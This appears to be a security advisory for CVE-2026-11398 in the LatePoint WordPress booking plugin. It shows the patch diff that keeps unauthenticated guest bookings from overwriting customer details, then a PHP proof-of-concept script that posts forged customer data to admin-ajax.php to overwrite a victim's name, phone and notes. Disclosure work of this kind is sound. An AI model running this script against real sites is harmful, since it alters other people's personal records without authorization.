+		 * @param OsBundleModel[]  $bundles     The bundles to display.
+		 * @param OsServiceModel[] $services    The services to display (already filtered).
+		 * @param array            $restrictions The active booking-form restrictions.
+		 *
+		 * @since 5.1.0
+		 * @hook latepoint_step_bundles
+		 */
+		$bundles = apply_filters( 'latepoint_step_bundles', $bundles, $services, self::$restrictions );
+
 		self::$vars_for_view['show_services_arr']           = $show_services_arr;
 		self::$vars_for_view['show_service_categories_arr'] = $show_service_categories_arr;
 		self::$vars_for_view['preselected_category']        = $preselected_category;
@@ -1961,13 +1986,16 @@
 			if ( $customer ) {
 				$is_new_customer   = false;
 				$old_customer_data = $customer->get_data_vars();
-				// When merging by phone and the existing customer has a linked WP user,
-				// do not allow an unauthenticated request to overwrite their identity fields.
-				// Protects email (account takeover via password reset) and name fields (record integrity).
-				if ( 'phone' === $contact_merge && ! empty( $customer->wordpress_user_id ) && ! is_user_logged_in() ) {
-					unset( $sanitized_customer_params['email'] );
+				// In the auth-disabled (guest) flow anyone who knows a
+				// customer's merge contact value can submit the booking form and would
+				// otherwise overwrite that customer's PII. Strip identity fields so the
+				// booking still attaches to the existing record without mutating it.
+				if ( ! is_user_logged_in() ) {
 					unset( $sanitized_customer_params['first_name'] );
 					unset( $sanitized_customer_params['last_name'] );
+					unset( $sanitized_customer_params['email'] );
+					unset( $sanitized_customer_params['phone'] );
+					unset( $sanitized_customer_params['notes'] );
 				}
 			} else {
 				$is_new_customer   = true;
--- a/latepoint/lib/misc/role.php
+++ b/latepoint/lib/misc/role.php
@@ -24,7 +24,7 @@
 					$this->wp_role = LATEPOINT_WP_ADMIN_ROLE;
 					break;
 				case LATEPOINT_USER_TYPE_AGENT:
-					$this->name    = __( 'LatePoint Agent', 'latepoint' );
+					$this->name    = apply_filters( 'latepoint_role_display_name', __( 'LatePoint Agent', 'latepoint' ), LATEPOINT_USER_TYPE_AGENT );
 					$this->wp_role = LATEPOINT_WP_AGENT_ROLE;
 					break;
 				case LATEPOINT_USER_TYPE_CUSTOM:
@@ -117,7 +117,7 @@
 				$display_name = __( 'Administrator', 'latepoint' );
 				break;
 			case LATEPOINT_USER_TYPE_AGENT:
-				$display_name = __( 'LatePoint Agent', 'latepoint' );
+				$display_name = apply_filters( 'latepoint_role_display_name', __( 'LatePoint Agent', 'latepoint' ), LATEPOINT_USER_TYPE_AGENT );
 				break;
 			case LATEPOINT_USER_TYPE_CUSTOM:
 				$display_name = $this->name;
--- a/latepoint/lib/models/cart_model.php
+++ b/latepoint/lib/models/cart_model.php
@@ -214,7 +214,10 @@
 		foreach ( $this->get_items() as $cart_item ) {
 			$cart_item->delete();
 		}
-		unset( $this->items ); // important to unset, to avoid db queries
+		// Reset the in-memory cache to an empty array instead of unsetting it. If we unset, the next add_item() triggers
+		// get_items() to re-query the DB (which now contains the row just saved by add_item), and the caller then
+		// appends the same item again in memory, producing N+1 items.
+		$this->items = [];
 	}

 	/** ?
--- a/latepoint/lib/models/invoice_model.php
+++ b/latepoint/lib/models/invoice_model.php
@@ -93,12 +93,25 @@
 			[
 				'status'     => LATEPOINT_TRANSACTION_STATUS_SUCCEEDED,
 				'invoice_id' => $this->id,
-			]
+			]
 		)->get_results_as_models();

 		return $transactions;
 	}

+	public function get_amount_paid(): float {
+		$total = 0;
+		foreach ( $this->get_successful_payments() as $transaction ) {
+			$total += (float) $transaction->amount;
+		}
+
+		return $total;
+	}
+
+	public function get_amount_due(): float {
+		return (float) $this->charge_amount - $this->get_amount_paid();
+	}
+

 	protected function params_to_sanitize() {
 		return [
--- a/latepoint/lib/views/bookings/_table_body.php
+++ b/latepoint/lib/views/bookings/_table_body.php
@@ -5,6 +5,7 @@
 /* @var $agents_list array */
 /* @var $selected_columns array */
 /* @var $ordered_columns array */
+/* @var $can_bulk_delete bool */

 if ( ! defined( 'ABSPATH' ) ) {
 	exit; // Exit if accessed directly
--- a/latepoint/lib/views/bookings/index.php
+++ b/latepoint/lib/views/bookings/index.php
@@ -18,14 +18,12 @@
 /* @var $locations_list array */
 /* @var $selected_columns array */
 /* @var $ordered_columns array */
+/* @var $can_bulk_delete bool */

 if ( ! defined( 'ABSPATH' ) ) {
 	exit; // Exit if accessed directly
 }
 ?>
-<?php
-$can_bulk_delete = OsRolesHelper::can_user_perform_model_action( 'OsBookingModel', 'delete' );
-?>
 <?php if($bookings){ ?>
   <div class="table-with-pagination-w has-scrollable-table">
     <div class="os-pagination-w with-actions">
--- a/latepoint/lib/views/partials/_side_menu.php
+++ b/latepoint/lib/views/partials/_side_menu.php
@@ -6,7 +6,7 @@
 <div class="latepoint-side-menu-w side-menu-<?php echo OsSettingsHelper::get_menu_layout_style(); ?>">
 	<div class="side-menu-top-part-w">
 		<a href="<?php echo esc_url(OsRouterHelper::build_link(['dashboard', 'index'])); ?>" class="logo-w">
-			<img src="<?php echo esc_attr(LATEPOINT_IMAGES_URL . 'logo.svg'); ?>" width="20" height="20" alt="LatePoint Dashboard">
+			<img src="<?php echo esc_url( apply_filters( 'latepoint_admin_side_menu_logo_url', LATEPOINT_IMAGES_URL . 'logo.svg' ) ); ?>" width="20" height="20" alt="<?php echo esc_attr( __( 'Dashboard', 'latepoint' ) ); ?>">
 		</a>
         <a href="#" data-route="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'set_menu_layout_style')); ?>" data-params="<?php echo esc_attr(OsUtilHelper::build_os_params([], 'set_menu_layout_style')); ?>" class="side-menu-fold-trigger menu-toggler"><i class="latepoint-icon latepoint-icon-menu"></i></a>
         <a href="#" title="<?php esc_attr_e('Menu', 'latepoint'); ?>" class="latepoint-mobile-top-menu-trigger">
@@ -24,7 +24,7 @@
 					echo '<li class="menu-spacer"></li>';
 				}
 				continue;
-			}
+			}
 			$sub_menu_html = '';
 			$is_active = OsRouterHelper::link_has_route($route_name, $menu_item['link']);

@@ -77,4 +77,4 @@
 			<span><?php esc_html_e('back to WordPress', 'latepoint'); ?></span>
 		</a>
 	<?php } ?>
-</div>
 No newline at end of file
+</div>
--- a/latepoint/lib/views/services/_form.php
+++ b/latepoint/lib/views/services/_form.php
@@ -313,10 +313,10 @@
 					if ( OsRolesHelper::can_user( 'service__delete' ) || OsRolesHelper::can_user( 'service__edit' ) ) {
 						$extra_actions_html.= '<div class="os-trigger-dots"><div class="os-trigger-dots-context">';
 						if ( OsRolesHelper::can_user( 'service__delete' ) ) {
-							$extra_actions_html .= '<div class="os-context-item os-danger"  data-os-prompt="' . esc_attr__( 'Are you sure you want to remove this service? It will remove all appointments associated with it. You can also change status to disabled if you want to temprorary disable it instead.', 'latepoint' ) . '"
-                            data-os-redirect-to="' . esc_url( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'services', 'index' ) ) ) . '"
-                            data-os-params="' . esc_attr( OsUtilHelper::build_os_params( [ 'id' => $service->id ], 'destroy_service_' . $service->id ) ) . '"
-                            data-os-success-action="redirect"
+							$extra_actions_html .= '<div class="os-context-item os-danger os-delete-confirm"  data-os-confirm-title="' . esc_attr__( 'Delete Service', 'latepoint' ) . '"  data-os-prompt="' . esc_attr__( 'Are you sure you want to remove this service? It will remove all appointments associated with it. You can also change status to disabled if you want to temprorary disable it instead.', 'latepoint' ) . '"
+                            data-os-redirect-to="' . esc_url( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'services', 'index' ) ) ) . '"
+                            data-os-params="' . esc_attr( OsUtilHelper::build_os_params( [ 'id' => $service->id ], 'destroy_service_' . $service->id ) ) . '"
+                            data-os-success-action="redirect"
                             data-os-action="' . esc_attr( OsRouterHelper::build_route_name( 'services', 'destroy' ) ) . '"><i class="latepoint-icon latepoint-icon-trash-2"></i><span>' . esc_html__( 'Delete', 'latepoint' ) . '</span></div>';
 						}
 						if ( OsRolesHelper::can_user( 'service__edit' ) ) {
--- a/latepoint/lib/views/shared/pro_feature.php
+++ b/latepoint/lib/views/shared/pro_feature.php
@@ -10,4 +10,4 @@
 	</div>
 	<a href="<?php echo esc_url(LATEPOINT_UPGRADE_URL); ?>" class="latepoint-pro-link"><?php esc_html_e('Upgrade to paid version', 'latepoint'); ?></a>
 	<a href="#" class="latepoint-pro-link-subtle" <?php echo OsSettingsHelper::get_link_attributes_for_premium_features(); ?>><?php esc_html_e('Show All premium features', 'latepoint'); ?></a>
-</div>
 No newline at end of file
+</div>
--- a/latepoint/lib/views/steps/_booking__services.php
+++ b/latepoint/lib/views/steps/_booking__services.php
@@ -32,11 +32,13 @@
 		    'preselected_category'        => $preselected_category,
 		    'preselected_duration'        => $preselected_duration,
 		    'preselected_total_attendees' => $preselected_total_attendees,
+		    'bundles'                     => $bundles,
+		    'service_display_mode'        => $restrictions['service_display_mode'] ?? 'all',
 	    ] );
     }else{
         echo '<div class="os-item-categories-holder os-item-categories-main-parent os-animated-parent">';
         OsBookingHelper::generate_services_list($services);
-        OsBookingHelper::generate_bundles_folder();
+        OsBookingHelper::generate_bundles_folder($bundles, $restrictions);
         echo '</div>';
     }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11398 - Missing Authorization to Unauthenticated Arbitrary Customer Data Modification

$target_url = 'http://target-wordpress-site.com'; // Change this
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// The victim customer's email address (must exist in the database)
$victim_email = 'admin@example.com';

// New PII values to overwrite
$attacker_first_name = 'Hacked';
$attacker_last_name = 'Customer';
$attacker_phone = '555-0000';
$attacker_notes = 'Modified via CVE-2026-11398';

// Step 1: Determine the correct action name for the customer step
// Common names: latepoint_process_step_customer, process_step_customer
$actions_to_try = [
    'latepoint_process_step_customer',
    'process_step_customer',
    'latepoint_step_customer',
    'step_customer'
];

$found = false;
foreach ($actions_to_try as $action) {
    echo "Trying action: $actionn";
    
    $post_data = [
        'action' => $action,
        'customer' => [
            'email' => $victim_email,
            'first_name' => $attacker_first_name,
            'last_name' => $attacker_last_name,
            'phone' => $attacker_phone,
            'notes' => $attacker_notes
        ]
    ];
    
    $ch = curl_init($ajax_url);
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded',
            'X-Requested-With: XMLHttpRequest'
        ],
        CURLOPT_FOLLOWLOCATION => false,
        CURLOPT_TIMEOUT => 30
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "HTTP Code: $http_coden";
    echo "Response: " . substr($response, 0, 500) . "nn";
    
    // Check for success indicators in response
    if (strpos($response, 'success') !== false || strpos($response, 'status') !== false) {
        $found = true;
        break;
    }
}

if (!$found) {
    echo "Failed to find a working action. The plugin may require additional parameters or guest bookings may not be enabled.n";
    echo "Try adding additional parameters like: step, booking, service_id, etc.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.